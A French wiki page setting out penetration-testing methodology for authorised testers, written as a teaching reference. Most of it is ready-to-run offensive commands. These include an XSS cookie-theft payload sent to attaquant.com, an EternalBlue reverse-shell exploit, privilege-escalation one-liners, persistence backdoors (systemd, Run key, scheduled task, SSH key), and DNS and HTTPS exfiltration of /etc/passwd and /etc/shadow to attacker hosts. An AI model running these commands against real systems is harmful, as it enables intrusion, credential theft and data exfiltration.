Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Methodologie
February 25, 2026

Méthodologie Pentest

Un test d’intrusion (penetration test) est une attaque simulée et autorisée contre un système informatique pour évaluer sa sécurité. La méthodologie structure le travail et garantit l’exhaustivité. Les principaux référentiels sont PTES (Penetration Testing Execution Standard), OWASP Testing Guide et NIST SP 800-115.

Cadre légal et contractuel§

Avant toute action, obtenir par écrit :

Sans autorisation écrite = violation informatique (Article 323-1 du Code pénal en France).

Phases du pentest§

Phase 1 — Reconnaissance (Recon)§

Passive (OSINT) : collecte sans contact direct avec la cible.

# Infrastructure et domaines
whois example.com
dig example.com ANY
dig +short MX example.com
amass enum -passive -d example.com       # sous-domaines
subfinder -d example.com -o subdomains.txt
theHarvester -d example.com -b all       # emails, noms, IPs

# Google Dorks
site:example.com filetype:pdf confidential
site:example.com inurl:admin
site:example.com "index of /"
"@example.com" "password"               # fuite de credentials

# Shodan
shodan search "org:example.com" --fields ip_str,port,product
shodan host 1.2.3.4

# Recherche de credentials leakés
# - Have I Been Pwned API
# - DeHashed
# - Pastebin, GitHub (gitleaks, trufflehog)
trufflehog github --org=example-org

Active : contact direct avec la cible (dans le périmètre autorisé).

# DNS zone transfer (si serveur mal configuré)
dig @ns1.example.com example.com AXFR

# Enumération de sous-domaines par force brute
ffuf -u https://FUZZ.example.com -w subdomains.txt -mc 200,301,302

# Identification de technologies
whatweb https://example.com
wappalyzer (extension navigateur)
builtwith.com

Phase 2 — Scanning et Enumération§

# Scan de ports — détection des services
nmap -sS -sV -sC -O -p- --open -oA scan_complet 192.168.1.0/24
# -sS  : SYN scan (furtif)
# -sV  : version des services
# -sC  : scripts par défaut
# -O   : détection OS
# -p-  : tous les ports

# Scan UDP (lent mais important)
nmap -sU --top-ports 100 192.168.1.10

# Scripts Nmap ciblés
nmap --script smb-vuln-ms17-010 192.168.1.10      # EternalBlue
nmap --script ftp-anon 192.168.1.0/24             # FTP anonyme
nmap --script http-enum 192.168.1.10              # répertoires web

# Enumération web
gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/big.txt \
    -x php,asp,aspx,html,txt -t 50
ffuf -u https://example.com/FUZZ -w wordlist.txt -mc 200,201,301,302,403

# Enumération SMB
enum4linux -a 192.168.1.10
crackmapexec smb 192.168.1.0/24 --shares
smbclient -L \\\\192.168.1.10\\ -N

# Enumération SNMP (community string "public")
snmpwalk -v2c -c public 192.168.1.10

Phase 3 — Exploitation§

Utiliser les vulnérabilités identifiées pour obtenir un accès.

# Metasploit
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set LHOST 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

# Exploitation web manuelle
# SQLi : sqlmap
sqlmap -u "https://example.com/page?id=1" --dbs --level=3 --risk=2

# XSS → vol de session
<script>document.location='https://attaquant.com/steal?c='+document.cookie</script>

# SSRF
curl "https://example.com/fetch?url=http://169.254.169.254/latest/meta-data/"

# Exploitation de credentials faibles (force brute)
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt \
    192.168.1.10 ssh -t 4

Phase 3b — Cracking de mots de passe (System Hacking)§

La méthodologie CEH (EC-Council) détaille le “System Hacking” en plusieurs phases : cracking passwords → escalation de privilèges → exécution d’applications → dissimulation de fichiers → effacement des traces.

Types d’attaques sur les mots de passe§

CatégorieExemplesDescription
Non-électroniqueShoulder surfing, social engineering, dumpster divingPas de compétences techniques requises
Active OnlineBrute force, dictionary attack, hash injectionInteraction directe avec le système cible
Passive OnlineSniffing, réplay d’authentificationSans interaction directe ni perturbation
Default passwordAttaque sur les identifiants d’usineÉquipements non reconfigurés
OfflineRainbow tables, comparison de hashesSans contact réseau (base dump)
# Dictionnaire
hydra -L users.txt -P rockyou.txt ssh://target -t 4

# Brute force hashcat (NTLM)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# Rainbow tables (Windows SAM + NTLM)
ophcrack -t /path/to/tables -f hashes.txt

# Cracker le SAM Windows (offline, depuis un Live CD)
samdump2 /mnt/windows/SYSTEM /mnt/windows/SAM > hashes.txt

# John the Ripper
john --wordlist=rockyou.txt hashes.txt
john --show hashes.txt

Authentification Windows — rappel§

MécanismeDescription
SAMBase de données locale des hash de mots de passe (NTLM)
NTLMProtocole challenge-response avec nonce 16 octets
KerberosAuthentification par tickets dans un domaine AD
LMAncien hash Windows (très faible, désactivé depuis Vista)

Rootkits — dissimulation post-compromission§

NiveauDescription
Application-levelRemplace des binaires légitimes (ps, ls, netstat)
Kernel-levelModifie le noyau OS pour dissimuler processus/fichiers
BootkitS’installe dans le MBR/UEFI, s’exécute avant l’OS

Phase 4 — Post-Exploitation§

Après accès initial : maintenir l’accès, élever les privilèges, pivoter.

Elevation de privilèges — Linux§

# Enumération automatique
./linpeas.sh | tee linpeas_output.txt
python3 -m http.server 8080  # servir linpeas depuis l'attaquant

# Sudo mal configuré
sudo -l
# Si (ALL) NOPASSWD: /usr/bin/vim → sudo vim -c ':!/bin/bash'

# SUID/SGID
find / -perm -u=s -type f 2>/dev/null
# Référence GTFOBins : https://gtfobins.github.io/

# Capabilities
getcap -r / 2>/dev/null
# python3.9 cap_setuid+ep → python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.d/
# Chercher les scripts writables exécutés par root

# Version de kernel vulnérable
uname -a
# CVE-2021-4034 (PwnKit), CVE-2016-5195 (DirtyCow)

Elevation de privilèges — Windows§

# Enumération automatique
.\winpeas.exe | Tee-Object winpeas_output.txt

# Services avec chemins non quotés
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
# "C:\Program Files\Service vulnérable\service.exe" → peut créer "C:\Program.exe"

# AlwaysInstallElevated (MSI avec privilèges SYSTEM)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Si les deux sont à 1 → msiexec /quiet /qn /i malveillant.msi

# Token impersonation (SeImpersonatePrivilege)
whoami /priv
# PrintSpoofer, GodPotato si SeImpersonatePrivilege activé

# Mots de passe en clair dans les fichiers de config
findstr /si "password" *.xml *.ini *.txt *.config

Persistence§

# Linux
# Crontab utilisateur
crontab -e
# */5 * * * * /tmp/.hidden/callback.sh

# Backdoor SSH (ajouter clé dans authorized_keys)
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys

# Service systemd malveillant
cat > /etc/systemd/system/update.service << EOF
[Unit]
Description=System Update

[Service]
ExecStart=/tmp/.payload
Restart=always

[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service
# Windows — clés Run
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "update" /t REG_SZ /d "C:\Users\Public\payload.exe"

# Tâche planifiée
schtasks /create /tn "Windows Update Helper" /tr C:\Users\Public\payload.exe /sc onlogon /ru SYSTEM

# WMI Event Subscription (persistance sans fichier sur disque)
$filter = New-Object -ComObject WbemScripting.SWbemLocator
# (plus complexe, voir BloodHound/Empire)

Mouvement latéral§

# PsExec (Sysinternals / Impacket)
impacket-psexec administrateur:[email protected]

# WMI
impacket-wmiexec domaine/utilisateur:[email protected]

# Pass-the-Hash
crackmapexec smb 192.168.1.0/24 -u admin -H NTLM_HASH --local-auth

# Port forwarding (pivoter vers un réseau interne non accessible)
ssh -L 3389:192.168.2.10:3389 user@pivot_host    # tunnel RDP via pivot
# Ou avec Chisel, ligolo-ng pour des tunnels plus flexibles

Phase 5 — Exfiltration (si dans le périmètre)§

# DNS exfiltration (discret, contourne les proxies)
# Encoder les données dans les requêtes DNS vers un serveur contrôlé
cat /etc/passwd | xxd -p | tr -d '\n' | fold -w 60 |
    while read chunk; do dig $chunk.exfil.attaquant.com; done

# HTTPS vers C2
curl -s -X POST https://attaquant.com/upload \
    -H "Content-Type: application/octet-stream" \
    --data-binary @/etc/shadow

# Steganographie dans des images
steghide embed -cf image.jpg -ef secrets.txt -p password

Phase 6 — Nettoyage§

# Supprimer les artefacts
rm /tmp/.payload /tmp/linpeas.sh
# Restaurer les fichiers modifiés
# Supprimer les comptes backdoor créés
# Désactiver les services de persistance installés

# Logs à nettoyer (si autorisé dans le RoE)
# Linux : /var/log/auth.log, ~/.bash_history
# Windows : eventvwr (effacer les journaux Sécurité/Système/Application)

Rapport de pentest§

Structure standard :

1. Page de garde
   - Client, périmètre, dates, équipe

2. Résumé exécutif (non-technique)
   - Niveau de risque global
   - Principales vulnérabilités
   - Impact business
   - Recommandations prioritaires

3. Méthodologie
   - Périmètre testé
   - Outils utilisés
   - Limitations

4. Résultats détaillés (pour chaque vulnérabilité)
   - Titre et identifiant
   - Sévérité (CVSS)
   - Description
   - Preuves (captures d'écran, logs)
   - Impact
   - Recommandation de remédiation
   - Référence (CVE, CWE, OWASP)

5. Annexes
   - Output des scans
   - Timeline des actions

Outils essentiels§

CatégorieOutil
Recon passifAmass, Subfinder, theHarvester, Shodan
Scan de portsNmap, Masscan, Rustscan
WebBurp Suite, OWASP ZAP, Nikto, ffuf, gobuster
ExploitationMetasploit, SQLmap, Impacket
Post-exploitationMeterpreter, BloodHound, LinPEAS, WinPEAS
Mot de passeHashcat, John the Ripper, Hydra, Kerbrute
C2Cobalt Strike, Sliver, Havoc (légal avec autorisation)
ReportingDradis, Faraday, PlexTrac
—The Gardener